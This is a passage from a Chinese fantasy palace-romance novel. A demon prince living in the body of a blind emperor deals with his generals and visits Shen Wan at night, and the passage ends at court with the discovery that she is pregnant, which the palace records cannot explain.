转眼到了六月中,入宫的日子近了,这一日夜色极黑,暗得压抑,天空黑云滚滚,偶尔有一丝电芒在云层中闪烁,没多久就下起暴雨,整个京城都笼罩在雨幕中,皇帝的寝宫大门紧闭,将风雨隔绝在外,殿中燃起的宫灯在雨幕中透出模糊的光晕,几道闪电划破夜空,令人胆战心惊的雷声紧随而至,一阵疾风呼地吹开了徽元殿的殿门,风雨灌进前殿,殿内的烛火承受不住风势,刷地全熄灭了。
殿前有许多东西被吹倒,很多人衣裙被打湿,大家手忙脚乱地掩上宫门,徽元殿的大宫女福锦忧心天子,赶紧前往寝殿,站在外面轻声探问:“皇上?”
房门内传来天子的回答:“无事,下去收拾吧。”
福锦放下心来,退下指挥宫人收拾,殊不知皇帝压根不在殿内,半透明的魔女莫耶漂浮在半空中,身姿斜躺,手枕在头下,一副慵懒做派。公子今日有要事,其他的魔将都走了,只有她留在内殿应门,好在皇帝有命,无人违抗圣意进来打扰,否则还要费心去变身。
外间一阵忙乱,众人掩好宫门,重新点上灯,收拾前殿的狼藉。
殿外的雨势越来越大,到了难以清晰视物的地步,黑暗的雨幕中,一团黑气逐渐汇聚,蒙眼的天子出现在黑雾中,身边站着一个苍白高大的男子,一袭玄甲战袍,头上长着如同枯枝一般的角,魔公子七大魔将之一的山鬼,随同主上出现宫殿之外,他们被雨幕笼罩,但周身却完全未被打湿,身影一闪,完全消失在了雨中。
皇帝的寝殿上方,滚滚浓云间出现一艘巨船,通体全黑,船身仿佛黑色的巨蝎,尾端是长而上翘的尖刺,船头两翼仿佛蝎螯,螯首各挖出圆形的空心,里面翻滚着蓝色光芒的球体,正不断地放出闪电,搅起云层中的风雷。
这是魔域赫赫有名幽灵浮舟,由于外形像蝎子,又被称为蝎王船。
浮舟内齐聚着数位魔将,都是魔情的部下,魔将中如山鬼和莫耶,都是长相美丽的魔人,而有一些魔者则长相怪异,足以令普通人一见就心生恐惧。
魔情迈入幽灵船,众魔纷纷站起来,四周流动着混沌的,来自魔域的语言,飘渺的魔语就像一团团滚动的黑雾,看似无人启口说话,实际上众魔已在交流,对魔公子表示恭敬的问候,魔情问道:“带来了吗?”
“是的,请公子同属下来。”说话的是一个壮硕而高大的魔将,身形有如巨塔,皮肤覆着黄绿色的坚硬鳞甲,他有着蜥蜴一般的长相,黄色的眼珠,蛇一般的竖瞳,他的手只有四个手指,却长着强壮,坚硬的尖爪,声音嘶哑低沉,带着回声,是魔公子七大魔将之一的蜥骨。
浮舟尽头有一口白色冰棺,魔气四溢,里面躺着一个极其俊美的青年,即便是在魔族里,这美貌也是极罕见的,冰棺里的青年黑衣黑发,面容苍白,在冰棺寒气的笼罩下被晕得有些模糊,如同一滴墨落入冰水中,有一种夜晚的气质,像夜空闪烁的孤星,又像是幽林深处泛光的冷泉。
冰棺里正是魔情真正的肉身,他的躯体受伤严重,不得不依靠灵棺保存,由于麾下出了叛将,蓄谋已久的偷袭令他险些魂飞魄散,能留下一息苟延残喘,不能不说是运气。
小皇帝萧誉的肉身突然在众魔面前怪异地融化,魔情从人类的躯壳中脱离出来,半魂体有和冰棺中的青年一模一样的相貌,却是一头银发,身体笼着一层微微的银光。魔族除了肉身之外,另有元魂,和凡人死后虚无缥缈的灵魂不同,而是介于虚实之间。如今他身魂双双受创,直至今日视力也没有恢复。
他把手放在冰棺上,探了探究竟,然后微微叹息地收回了手,伤得很重,离完全恢复还早。
“魔界目前情况如何?”
“道域三大宗的清心宗,近日遭到魔兵进犯,门下三万六千弟子尽数被屠,苏都打着公子的名号带兵前往,清心宗宗主的首级被挂在宗门的铸剑台上,现在道域群情激愤。”
苏都本是魔公子麾下第一战将,谁也想不到他会突然背叛。
“哦?一个苏都还不够,现在整个道域的人都要杀我了。”
“苏都在魔界的声望不能与公子相比,只要公子回归,肃清叛徒并非难事。”
魔情摇头:“我的伤没那么快好。”
“苏都和道域都在寻找公子,但现在他们还尚未留意到人界,属下以为,公子留在现今的宫城是最稳妥的选择。”
魔族的性命悠长,不似人间,凡人寿数短暂,王朝更迭能在百年之间。魔情未曾想他夺舍的青年竟是一国之君,虽然在深宫中行事有诸多不便,但权柄和隐蔽性都无以伦比。
唯一的不足,就是他察觉到这小皇帝的江山明显不太稳固,谋臣为了巴结世家,能在选秀两天后就对落选的秀女出手,如此嚣张,无所顾忌,皇家有失权之兆。
“梼杌去了哪里?”
“已带着三万魔兵退居三途城。”
魔情沉吟半晌,手掌发出光来,掌心出现一个墨黑的灵玺,黑玉一般的色泽,泛着妖异的有光,用手轻轻一推,灵玺飞向蜥骨,他伸出手来接住。
“把这个带去三途城,交给梼杌,冰棺也带去,就当我死了,有灵玺为证,那些魔兵交由他号令,其余的,让他自行应变。”
“公子,此举恐过于冒险。”
“不把我已死的消息散播出去,不止苏都,道门也不会罢休,苏都既然说是我下令灭门,而他奉命执行,一样难辞其咎,你们不妨大肆宣扬他屠灭道门的功绩,让道门的人先去与他纠缠,他越是分神应付,留意到人间的可能性就小。”
“是。”
“你和饕餮,穷奇回三途城帮助梼杌,山鬼莫耶留下。”
“只得他们两个是否部署太少?”
“梼杌比我需要协助,我现在的身份,处境反而安全,你们留在
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人间太浪费了。”
“领令。”
魔情还想再说些什么,却突然感到有些倦意。
“吾等必不负公子所托,还请公子保重。”
“罢了,今日到此为止。”
蝎王船隐藏在暗云之上,魔情令其行进至宫城不远的民居上空,然后就同山鬼一同下来,他要回徽元殿容易,而浮舟过于显眼,需要尽快离去,他们落在一个官署的屋顶之上,正逢午夜,蝎王船离去不久,风雷散去,雨势渐渐变小,半个时辰后,一轮满月从云中探出头来。
山鬼举目四望,附近的院落非常考究,有不少是官宅,长庆宫已在近前,他确定了方向,正打算带着魔情回宫,不料自不远处听到一片非常混乱的声音,午夜中暗藏呓语,听上去混沌又邪恶,还夹杂着些许呼救声,魔族耳力好,一下子就听见了。山鬼定了定神,皱眉分辨状况。
魔族不介入人间恩怨,魔情当下的五感已不如原先敏锐,但他察觉到异样的气息,在混乱之外,一种唯有魔族才能察觉到的,难以言说的混沌,夹杂着微妙的恶意,这种恶意非常的飘渺,引起了他的好奇,他不由得吩咐山鬼:“去看一眼。”
“是。”山鬼不再多言,带着主上前往骚乱之处,魔界的邪影之术与轻功不同,他们的身影时隐时现,转眼就在百米开外,他们现身到一间官宅之上,没成想屋顶有问题,哗啦一声,魔情脚下踏空,摔进了屋子里。
屋顶的碎瓦片簌簌落下,他大概是掉进了一个书房,周围纸张飞散,带着淡淡的花香和墨香,落了他满身,同时身边响起一声女子的惊呼。
魔情躺在地上,内心暗骂山鬼成事不足败事有余,不料身边那受惊女子的声音,竟颇为耳熟。
“陛下?”
“……”
沈纨在闺房的书阁内整理要带进宫的东西,那些好心办了坏事,反被天子斥责的佛经还留着,虽然纸张都很皱了,她一时间觉得有些难办,留着不妥,也不知是否该烧了,岂料才起心动念,思及天子,立刻心想事成,今上从天而降。
山鬼闯了祸,单膝跪在屋檐上,探身查看究竟,只见魔情仰躺在一堆碎石上,虽然蒙着眼,但偏头面向山鬼所在的方向,看起来有些愠怒。他不耐烦地命令道:“去办你的事。”
山鬼认出屋中少女,料定主上一时半会还不会有事,他当即起身,突如其来的遭遇让他意识到已经身在人间,需要谨慎,他沉吟片刻,五指张开一抹面庞,隐去原本长角的形貌,英俊的面容也变成了个面色枯槁,其貌不扬的男子,这才转身离去。
引起风暴的暗云已经消散,皓月当空,月光透过破损的屋顶落在书房中仰面躺着的青年身上,沈纨站在一旁,怀中抱着几卷书,不知所措地看着他。
陛下总是如此突兀,突然来又突然离去,进宫时间未至,都能突然从屋檐上掉下来,落进她的闺房里。
8. 幽夜重逢
魔情拍着身上尘土站起来,沈纨不敢怠慢,赶紧撇了书上前搀扶,她身上有颇为好闻的香气,衣服上熏了夏天常见的荷花香。
“陛下又私自出宫了?”也不知这回又干什么去了:“莫非外头又出了魔物?”
能这般歪打正着也不简单,魔情不正面回答,只是说:“你的屋檐挺不牢靠。”
沈纨已领教过天子轻功的了得之处,只是大半夜的不在宫里,却在京城飞檐走壁,颇有梁上君子之风,虽满腹疑惑,但天子不答,不好细问,只得抱歉道:“妾的书阁前阵子遭了落雷,疏于修缮,惊扰了陛下。”
书阁满地碎瓦片,还有许多飞散的纸张,那些是她在蕴秀宫之时,替天子抄的药师经,十余张写满佛经的花笺,出宫时依旧带回了府里,很快又要入宫,还不知该如何处理这些经文,天子不喜,好心反而成了冒犯。
如今宫里派了侍卫和教引女官,宿在外院,天子掉进她书阁内,引起的动静并不小,沈纨正忧虑,果然闺房外即刻就有人至。蒹葭要随她入宫,得了两日的假,回家同双亲告别,白露这两日染了风寒,正歇着养病,不在小院里伺候,今夜仅剩一个十五岁的丫头小茶,小丫鬟被惊动,来到沈纨绣阁前轻轻地叩门询问:“娘子,发生了何事?”。沈纨也不掩饰,站在书阁的窗前,打开窗指了指地下的狼藉:“前些日子书阁的屋顶遭了雷击,未及修缮,今夜风雨后突然落了瓦片,现在太晚了,我倦得很,现在雨停了不影响,明天再找人来修。如果前院的姑姑们问起来,你禀明原因就是。”
小茶忧虑地看着书房里的狼藉,但无论如何,也想不到午夜时分当今圣上能从沈府的屋顶掉进来,只能点点头去前院禀明消息。
沈纨松了口气,把窗阖上,转身走向暗处,天子正倚在窗外之人视线看不见的角落。
她把地上飞散的花笺收拾好,拉起魔情的手:“陛下,请随妾过来。”
沈纨领着天子进入自己的绣房,房内烛火通明,茶几上摆着尚有余温的茶水,花瓶内插着新剪下的鲜花,案上堆着很多书,隐透墨香,闺房四面挂着一些绣作和木雕摆件,他虽然看不见,但能感觉到这些物件上有其主人的气息。
茶香,墨意,少女身上的荷花香。
刚才还在众魔环伺的紧张气息之中,而今四周的气息变得温柔起来。
“陛下,可要妾遣人通知宫里来接驾。”
“如何解释?朕思念沈婕妤过度,半夜来相会?”
“陛下还是莫开玩笑了。”
“那就不必麻烦了,朕还有侍卫未归,稍后自会回宫,不必惊动他人。”
“是。”
正说着话,绣房之外又听得有人敲门。
“如月。”是母亲姜鸾音。
“陛下……”她未曾想到午夜居然还是惊动了母亲,竟有些慌张。
走了一个丫鬟,又来了个沈家主母,魔情起身:“朕还是先告辞好些。”
沈纨赶紧拉住她:“陛下,这可使不得,即便母亲知道也无碍,并不会惊动宫里,陛下先暂留妾身房内。”她将天子安置在绣房中,吹熄的烛火,这才赶去前厅开门,姜鸾音带着侍女站在门口。
“娘,这么晚了,怎么还没睡?再过些时辰,天该将明了。”
“我听小茶说了你书阁的事,不大放心,还是要过来看看。”
“屋顶久未修缮,又碰上今夜的风雨,被刮坏了也不稀奇,之后再请工匠来补一补就是了。”书阁在卧房相反的方向,沈纨举灯引母亲到书阁前。
姜鸾音瞧了瞧,书阁内的确是有些脏乱,风雨停歇,一束月光穿过屋顶照在地上,外间和卧室看着都整洁正常,姜鸾音放下心来,嘱咐婢女到前院去给宫里的女官回消息。
“要带去宫中的东西可都收拾妥当了?”
“差不多了。”
姜鸾音瞥见茶桌上的那摞花笺,她拿起一瞧,发现是几页药师经的经文,由于刚才的意外事故,好些纸张遭到了雨点和碎瓦片的摧残,显得皱巴巴的,连墨都洇开了。
沈纨暗道不好,她当初在蕴秀宫给母亲写信,顺手抄了几页经文,惹来天子斥责不说,如今尚不知如何处理,又被母亲发现,怕是难解释得很。
姜鸾音果然误会了:“药师经,你外婆忌日将至,难不成是要抄来祭拜的?”
“不……这些抄了有一些时日了。”
“纸张破了不少,字也有些糊了,等到你外婆忌日那天,你已入宫,可要娘替你供到慈缘寺去?”
沈纨不得不挨近了母亲,很小声地说道:“这是……写给陛下的。”
姜鸾音这下吃惊不小,表情也谨慎起来。
“陛下此前受伤,宫里有法会,女儿当时住在蕴秀宫附近,偶尔能听见些梵音,当时给母亲写信,刚巧抄了些药师经,所以……”
只是天子不喜。
“你倒是有心,但你准备如何处理呢,是带进宫去,还是留在家里?”
隔间的交谈轻声细语,无奈魔族耳力过人,这些交谈被魔族听了个清清楚楚。
魔情微微皱眉,她怎么还留着那些东西?
只听女孩在隔壁轻声道:“宫中规矩多,还是放在家中吧,娘亲替我保管。”
“也好,天家毕竟不像在府里,还有一事,”姜鸾音道:“白天庶务繁忙,连这几日都忘了,娘前些天去云阳侯府见了你舅舅,回程路过花神院,就去花神娘娘前求了个平安,没想到掷签时求得了个人参娃娃,你带进宫去吧。”
“娘。”沈纨忍不住喊了一声,她和天子一个月前悄悄地外出,她去了花神院,为母亲求了个平安,没想到母女连心,母亲也做了一样的事。但……刚有个佛经,又来个人参娃娃,陛下可还在隔壁呢。
然而姜鸾音浑然不知,仍是微笑道:“如今人参娃娃不易请得,是个好兆头。”姜夫人拍了拍女儿的手,毕竟已经夜深,她也不久坐,叮咛了女儿几句,也就离去了。
房间重归寂静,沈纨看着手中的人参娃娃,轻轻叹了口气,觉得像个烫手山芋,宫中派来的尚药局女官在沈府住了一个月,每日按时来把脉,还定期送上药膳调理,如此一个月下来,确定了她并未有孕,没想到母亲又给她求来了个人参娃娃,这在京城,
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可是求子的意思。她把娃娃放在那叠写了佛经的花笺上,转头进卧房见天子。
他情绪非常稳定,全然看不出是否听见了方才姜夫人和女儿说的体己话,沈纨小心翼翼地走近他。
“你母亲很关心你。”
“母亲舐犊之情,言语中若有冒犯,还望陛下不要怪罪。”
“你那些佛经。”他微微皱了皱眉。
“陛下不用担心,妾会妥善处理的。”
“拿过来。”
“是。”她不解其意,只能遵天子言。
魔情拿在手中,问她:”有愿望吗?“
“陛下这是何意?”
“许个愿吧,沈婕妤。”见她不语,魔情又催促道:“说不定就应了呢?试试看。”
沈纨不明所以,也只能低下头来,内心暗暗许了个愿望。
混沌的气息在少女的绣房内波动,她半点修为也没有,因此魔族几乎能毫无阻碍地地探入她的意识。
愿双亲平安,陛下复明。
“你……”
他刚才还想,她要金银珠宝好解决,想出宫也不会强留她,甚至是她许愿要做皇后,也并非难事,如果她想要有皇嗣,可就有点麻烦了。没想到这些都没有,而是不着痕迹地再次关怀了他,就如同她最初写经文,仅仅是善念罢了,只是用错了方式,也关心错了对象。她关心的是早已不存在的小皇帝,而非他魔情公子本人,诉诸佛门的后果,和要超度他无异。
虽然魔族性格冷酷,魔情还是被轻轻戳了一下,如果只是希望他健康,应该是不难的,只是还需要时间罢了,或许比保证她的至亲平安还容易,他不能永远留在人间。
他抖了抖手腕,那些花笺在他手中燃烧起来,顷刻间化为灰烬,落在地上,只留下了很少量的灰。
“陛下?!”沈纨大惊。
“你的愿望已经被听见了,会实现的。”
不多时山鬼回来了,四下无人,他悄无声息地落在屋檐上。
“朕的侍卫回来了。”
沈纨启窗张望了一番,院中无人,昏暗的天色变浅,即将转向天明,她转过身去搀天子:“陛下,外间既无人,不若就从房门出去吧。”总不至于让皇帝再从屋顶出去。
魔情嗯了一声,默许了她牵着自己出门。
昨夜的暴雨之后,小院中的花木草叶,仍然挂着水珠,屋檐上有个身形高大,其貌不扬的黑衣男子,为了不引人注意而刻意半跪再屋檐上,身影几乎与夜色融为一体。
“沈婕妤,我们来日再见。”
“妾恭送陛下。”
说罢,皇帝轻轻跃上屋顶,身法利落。很快同他的侍卫一同消失在夜色中。
回宫路上,魔情问他:“你刚才都发现了什么。”
“只是寻常歹人,趁夜行些鸡鸣狗盗的勾当,属下赶他走了。”
“就这样?”魔情困惑地皱起了眉。
“并未发现有任何异常。”
魔情沉默不语,刚才怪异的感觉也消失了,但他刚才在意的,绝非什么寻常的民间纷争,分明是一些更加邪恶的气息。
9. 桂花鼠
无咎四年六月末,沈纨作为唯一入宫的女子,辞别双亲,正式进入了长庆宫。她入住的宫殿名为棠华宫,曾是她曾外祖母镇国东阳公主的旧居,也是先朝最后一任天子为其宠姬唐妃所建的宫室,初名唐华宫。随着圣武皇帝登极,建立齐室江山,东阳公主成为此间主人,公主喜爱棣棠花,在其住所遍值此花,此后宫殿易名为棠华。多年来不断加植花木,以黄色的花朵最为多,除了棣棠之外,冬有腊梅,夏开木香,秋天又有桂花,园中还种着各色花草,以棣棠最多,其次是黄牡丹和金莲花,依着时令盛开,四季都是花团锦簇的富丽模样。
才刚入夏,园中棣棠与牡丹还在恣意地盛开,棠华宫的宫人整齐地候在正殿前迎接新入宫的贵人。
棠华宫的掌事宫女曹柳玉,三十来岁,为人端庄稳重,引沈纨入正殿就座,一面指挥左右奉茶,一面介绍宫中的情况。
沈纨在翌日正式受封了婕妤,沈纨品级不高,本由宫中的女官主持册封仪式,但阖宫上下就她这么一个入了宫的女郎,因此太后也出面,亲自将册文授予沈纨。
当天宫里就发生了一件奇事,时值六月末,棠华宫的桂花树突然早开,满园金黄,枝头挂满细小的花簇,风一吹落下碎金的花瓣,一走进棠华宫就会被馥郁的香气所吸引。这甚至惊动了太后的长宁宫,亲自来看桂花。
“百花为娘子而开,岂能不是个好兆头呢?”太后身边的大宫女秋信,站在花团锦簇的金色花园中,满面笑容地说着吉祥话。
沈纨入宫数天,天子一直未曾出现,由于棠华宫曾是她曾外祖母的旧居,这一日清点地库,竟然理出来大量公主的旧物,里面有许多价值连城的物件,虽然先祖是开国皇帝,又宠爱独女,赏赐无数,但到沈纨这辈,算是第五代,而且只是个婕妤,不能贸然留下这些东西,不妥还逾制,她地库里的东西集合起来,派了人去通知了徽元殿。
魔情正下朝回来,刚才在朝堂官员之间争得面红耳赤,徐氏父子得胜回京,立下大功,有官员建议,徐敦将军劳苦功高,应晋上柱国,赏公爵位,并加九锡之礼,另有官员出来反对,徐敦有功不假,但如此殊荣,以后再立功,还如何封赏,而徐敦谦逊,坚辞不受,于是此事暂且搁置了下来,留待天子下朝后与官员权衡,再行封赏。
回到徽元殿,福锦向他奏报了棠华宫地库里找到的公主遗物,太后也派了人来清点物件,并拟好了名录,其中有两株宝石花树的摆件尤为珍贵,一件是用乌木以及红宝石和水晶做出来的红梅花枝,光华璀璨,本是前朝帝王特寻工匠打造给宠姬梅妃的花树,价值连城,世上只此一株。
另外一株,在沈纨的曾外祖母东阳公主十八岁的时候,圣武皇帝让人用黄宝石做了棣棠花丛,与红梅凑成一对送给了公主。
还有一对刀剑,是按着帝王的规格铸的,当年圣武皇帝得此神兵,在公主满二十岁的时候,赐予了有军功在身的女儿。
“这两棵花树也逾制?”
魔情并不太在意,让福锦交给太后处置,只转达了一句话:“逾制的收回,其余赐给沈婕妤,她为东阳公主后人,能找到这些东西是缘分。”
“还有一事。”福锦有些踌躇,“沈婕妤的牌子,已经制好了。”平素妃嫔侍寝,少不得要翻牌子,但如今宫里也就只有这么一位入了宫的女郎。福锦只好问:“陛下今夜可要让沈婕妤过来伺候?”
魔情突然感到魔将出现在附近,他摆手让福锦退下。
“朕想去见她,自己就会去,还翻什么牌子,你退下吧。”
福锦忙道:“是,奴婢遵旨。”
不多时山鬼现身,报告了一件事:“近日在宫中发现了桂花鼠”
魔情听了不禁皱眉。
桂花鼠,是魔界的一种生灵,是一种圆头圆脑的生物,比起普通的老鼠,长着大耳朵和很长的毛尾巴,有兔子那么大,喜欢挨着桂树生存,会用石头砌窝,远比寻常生物通人性,本身是一种无害的小动物,但带着轻微的魔气,只会在魔气浓厚之地生活,桂树受其魔气影响,四季常开不败。
“在何处出现的?”
“棠华宫附近。”
“棠华宫?那附近有桂花?”
“有,且已经盛开。”
他下朝时依稀听到宫人议论,但并未放在心上,桂花鼠离开魔气浓郁的场合会十分短命,是魔域独有的生灵,凡世存在大大小小的空间裂隙,原本并不会造成多大影响,但桂花鼠出现在此,还是因为京城陡然出现了三个高阶的魔族,与空间产生了联动。
这东西必须尽快处理掉。
蒹葭今日去尚食局领份例,耽搁了半个时辰才回宫,宫里消息传得快,早晨的消息到了日暮就已众说纷纭。沈纨的牌子制好,但天子并未召她侍寝还是小事,徐敦父子班师回朝,徐家风头正盛。今上践祚四年,还未有中宫,如今传出徐家女有望成为皇后的消息,沈纨作为唯一入宫的女郎,棠华宫一向受到关注。
有好事的宫女见到蒹葭,拉住她打听消息,毕竟徐兰宁当初在蕴秀宫和沈纨曾同为秀女,两个贵人,即便不熟,也该有数面的缘分。但沈纨素来是不爱说人事非的,关于选秀和天子又有许多蹊跷不便言明,找蒹葭打探消息,岂能问出什么来。
棠华宫的园子里桂花早开,蒹葭和白露在收集桂花的时候,提及宫中轶事,沈纨与曹姑姑出到院中,曹柳玉听到二人的闲话,责备道:“娘子与陛下也是你们能妄议的,徐氏也是世家贵人,入宫了还不谨言慎行,回头给仔细给自己惹麻烦。”
两个姑娘忙低下头来,乖乖认错,说再不犯了。
此时忽听得宫人来报,说天子驾到,众人忙乱地筹备起来,如今天色已暗,过了晚膳的时间,若是翻牌侍寝,也正是时候,但天子大踏步进来,挥手让棠华宫内
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的众人回避,说要和沈婕妤单独逛逛园子。
众人面面相觑,只得守在园子外待命,曹姑姑指挥众人上了热茶,才退出园内。
“见过陛下,要来见妾怎么不提前差人说一声,如今未有准备,难免接驾不周。”
“抓老鼠。”
他又说些让人不明白的话了,沈纨突然惊呼一声,天子揽着她直接飞到了屋檐上,沈纨背对着花园,看不见身后的鬼影憧憧,两位魔将化作黑影,降临在棠华宫之内,默默展开了结界,由此,宫殿内外候命的宫人产生了不愿意进入院子里的想法。
桂花鼠并不可怕,可是魔界的裂隙若是长期放任,会异化成如同妖兽般会咬人的裂口,裂隙渐渐扩大,会从里面爬出更多魔物,魔情与他的两位部下都是位阶已经很高的魔族,照理说不会出现这样纰漏,但魔界裂缝不知何故还是出现了,让这些魔界的生灵跑了出来。
中元节将至,夜空中的一轮明月已经接近圆盘的形状,沈纨和天子坐在琉璃瓦的屋檐上,入夜宫灯亮起,举目能看到宫城里壮丽的景观,就是有些硌得慌,观景楼和亭台不去,却来到屋檐之上。
此时徽元殿内不见了天子,慌作一团,陛下时常有这样的习惯,甩开了宫人就不知道单独去了何处,难免引起担忧,却又无可奈何,如今皇帝再度不知所踪,福锦无奈,只好指挥宫人四处寻找。
棠华宫内魔气攒动,桂花鼠在花园里乱窜,随即被驱赶进裂隙中,两位魔将很快弥合裂隙,随着棠华宫内的魔气散去,结界逐渐消散,被催得早开的桂花失去了魔界生灵的护持,花瓣开始纷纷扬扬凋落,夜风一吹,沈纨惊讶地发现,棠华宫里下起了金黄色的桂花雨。
“发生了什么?!”她想要转头,却被天子按住,结界尚未完全撤掉,花园中尚浮动着奇异的微光涟漪,这可不是往园子里乱瞧的时候。
“多日不见,你一点也不想朕?”
“那陛下这些日子想妾了吗?”
“好问题。”天子既不承认也不否认地答。
有几个宫女并太监在棠华宫附近打探消息,他们还停留在今早天子拒绝沈婕妤侍寝的认知里,认为陛下今夜不太可能前往棠华宫,突然许多桂花自天上飘落,循着花雨的方向看去,发现天子和沈婕妤坐在棠华宫西偏殿的屋檐上,魔情揽住沈纨的肩膀不让她回头看,看起来就像两个人亲密地靠在一起说着体己话,漫天金黄色的桂花雨。
早晨只是说的不侍寝,没说不来棠华宫见贵人,魔情阻拦沈纨回头去看花苑中的魔界老鼠,但他的举动就像是搂着爱妃在怀说着体己话,众人一抬首见天子揽着沈婕妤坐在屋檐上,画面赏心悦目,但地方实在危险,唬得差点魂都飞了出来。
众人急忙来到棠华宫门口,请见陛下。
魔将传来信息,桂花鼠已经妥善地清理,裂隙弥合。魔情带着沈纨,轻巧地跳了下来。
10. 皇嗣
关于大将徐敦的封赏,经过半个月的拉扯,最终晋为上柱国,总领百官,督中外军,又封魏公,期间虽有朝臣反对,认为徐敦已然权倾朝野,天子年轻,根基尚不稳,徐氏如今位极人臣,未来再向上封赏的空间已经很小,如此厚待将撼动天家根基,但朝中徐氏羽翼已丰,反对无果。
最终徐敦在成为魏公不到七日之后,又加了九锡之礼,其长子徐照原成为世子,升任京畿大都督,兼吏部尚书,将官员任命也握在了手中。
徐家近日连逢喜事,尤其是九锡之礼赐下之时,京城更是好好地热闹了一番,徐敦妻得封国夫人,携女眷进宫谢恩,太后设宴款待。
徐夫人带来了长女徐兰宁,人逢喜事精神爽,徐家女郎本就生得娇艳,如今更是神采奕奕,她要为后的消息本就有几分苗头,如今更是有了八九分准。萧氏江山自先帝起就长期仰赖外戚,谢太后出身世家,与其亲姐先后成为皇后,因入宫一年就立刻生下了当今天子而稳住后位,当谢相去世,宗室亲王因天子年少举起反旗,社稷内忧外患,谢氏寥落,朝政渐渐为武家所掌控。
朝堂波诡云谲,后宫里的宴饮表面上依旧其乐融融,七月末的夏天,晨间暑气仍重,宫宴设在太液池边的清凉殿,宫楼的影子倒映在水面上,池边有荷花盛开,清风一吹,荷香四溢。
举目往远处望,宫楼绵延无尽,朱红的宫墙与泛金的琉璃瓦相映成辉,气象恢弘,的确让人产生坐拥天下的感觉,魏国夫人含笑向天子和太后敬酒,感谢天家对夫郎和长子的厚爱。
徐兰宁不久前才去花神院好生求过姻缘,如今看来,花神娘娘好像给了她机会,三个月前选秀出了意外,她当时已知自己是内定人选,最后却未得入宫。但塞翁失马,焉知非福,她原本即便入宫也只会得封高位嫔妃,不至封后,如今父兄立下大功,她正位中宫有了盼头,心中喜悦,有心亲近天子,奈何天子失明,既看不见景,也看不见人,反应非常平淡。
与此同时在棠华宫,沈纨这两日一直精神恹恹,食欲不振,变得十分嗜睡,哪怕是白天也总是歇在宫里,徐家女郎可能要入宫的消息传过来,蒹葭和白露这两个近身伺候的丫鬟私下暗自忧虑,但曹姑姑预先警告过众人要约束言行,可不能给婕妤添堵。
午膳她才吃两口就搁下了,蒹葭领来了冰的份例,冰上瓜果,放在房间消暑,沈纨睡在屋子里,隐隐约约听到曹柳玉在前院训斥小丫头。
沈纨才进宫的时候,宫内有许多人凑到棠华宫前,想要在这位让天子青眼有加的贵人跟前谋个前程,棠华宫伺候的宫人早在沈纨入宫前就已经安排妥当,但毕竟是天子亲自选中的贵人,负责各宫人员安排的女官早已事先和曹柳玉打了招呼,婕妤娘子如有什么可心的人选,只管提。
才一个月不到,竟有眼皮子浅的心思又活络起来,甚至还当着棠华宫的差,惋惜起自己操之过急,早知如此,还不如待天子大婚,长秋宫用人之际,去侍奉皇后。
曹柳玉听闻怒不可遏,决心将这些见风使舵,眼皮子又浅的势利东西撵走。
前院传来小丫头的哀求和哭声,沈纨头痛欲裂,毫无睡意,众人都当她是因陛下对她钟情而入宫,只有她知道并非如此,现在前院又吵个不休,声音其实很微弱,但现在她对一点点的动静都很敏感,她内心气闷,心中产生了强烈的愿望想要去见天子,当面质问他若无情意,为何要让自己入宫。
她猛地从床上下来,就这么穿着单薄的,不适宜直接见客的衣袍,还散着头发,冲出了棠华宫。
她现在一定要见到皇帝。
在宫城另一头,宫宴已经结束,天子与太后、魏国夫人、徐兰宁四人共同走出蓬莱殿,前往太液池中心的天音阁。
不远处却突然出现一阵骚动,一个衣着单薄的女郎向蓬莱殿走来,侍卫认得沈婕妤,不敢与之拉扯,宫女们试图阻拦,也被沈纨推开。
风吹过御花园,衣着单薄的少女踏着落花而来,青丝被吹散,她面色白得吓人,仿佛花魂化成艳鬼,随时要消散成一团雾气。
魔情虽然失明,但他能分辨气息,已察觉到了异常。
她披头散发实在不成体统,太后忍不住呵斥:“沈婕妤,你衣衫不整在宫中乱走,成什么样子?”
沈纨不顾众人的视线,扑进天子怀中:“陛下……”甚至凑近天子耳畔说了些什么。
“你说什么?”魔情一时间没听清沈纨之后那串如呓语般的话。
沈纨伏在他怀中一动不动,额头烫如火烧。
谢太后气得说不出话来,招手唤来秋信把她领走。
秋信长期在太后身边侍奉,略通一些医术,她察觉沈纨神色不对,忙上前来,拉起她的手腕,替她号脉,然后,她不能置信地睁大了眼睛,呆了一瞬,再次伸手去确认沈纨的脉象。
“陛下,娘娘……”秋信变了脸色道:“沈婕妤似是有孕了。”
“什么?!”魔情怀疑自己出现了幻听。
秋信强令自己镇静下来,但内心惊疑不定,她诊出一个多月的喜脉,但时间却对不上。沈婕妤侍寝已是快四个月前的事,在宫外两个多月,如今已经七月末,若龙嗣是那时怀上的,应已显怀。她六月末入宫至今还不到一个月,彤史并未留下任何记录,但天子行事恣意,即便是近日侍寝,时间也不对,但徐家女眷在前,她不敢多言,谨慎道:“奴婢医术有限,恐怕仍需太医署和尚药局女医确认。”
魔情靠近她,察觉到不寻常的气息,他们之间可没什么,就是有什么,凡人女性诞育魔裔也绝非易事,这其中,恐怕有御医也诊不出的情况。
他一把将沈纨抱起来,方才忍受了几个时辰的宫宴和无聊的奉承,魏国夫人和徐家姑娘的企图心在他面前无法隐藏,他决定摆明态度:“徐娘子。”他转向徐兰宁所在的方向。
徐兰宁突然心下一颤,皇帝声音很轻,但极为清晰地对她说:
“朕非娘子良配,祝娘子早日觅得良人。”
他随即转头下令:“起驾回棠华宫。”然后头也不回地撇下徐兰宁和魏国夫人离开了太液池。
徐家女眷进宫谢恩的宫宴最后草草结束。
谢太后在半个时辰后也来到了棠华宫,太医院和尚药局的女医陆续到来,经过几轮诊断,确认无误,沈婕妤有孕一月有余。
尚寝局的女史送来彤史,却大气也不敢
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出,沈婕妤头一次侍寝是在四月六日,翌日天子与沈婕妤同返沈府,留宿了一日,她六月底进宫,如今在七月中,突然诊出一个多月的身孕,只能是在宫外怀上的。
谢太后想要屏退众人,天子在一旁说道:“都留下吧。”
这显然是天大的丑事,谢太后不欲公开发难,不解天子所为。
而魔情想的却是,人多才好,否则这些医官出去,还不知该传出什么离谱谣言。
沈纨得知诊断结果,内心困惑又恐慌,见太后脸色阴晴不定,周围诊出了喜脉的太医和女官也神色惶恐,她如今非常难受,气息虚弱,周围人又多,难道是存心让她当众丢丑,只能含着泪申辩:"请娘娘和陛下明察,妾绝无不贞之举。"
之见天子沉声道:“朕在六月中时,去过沈府。”
“什么?是几时之事?为何宫中从未有过记录?”
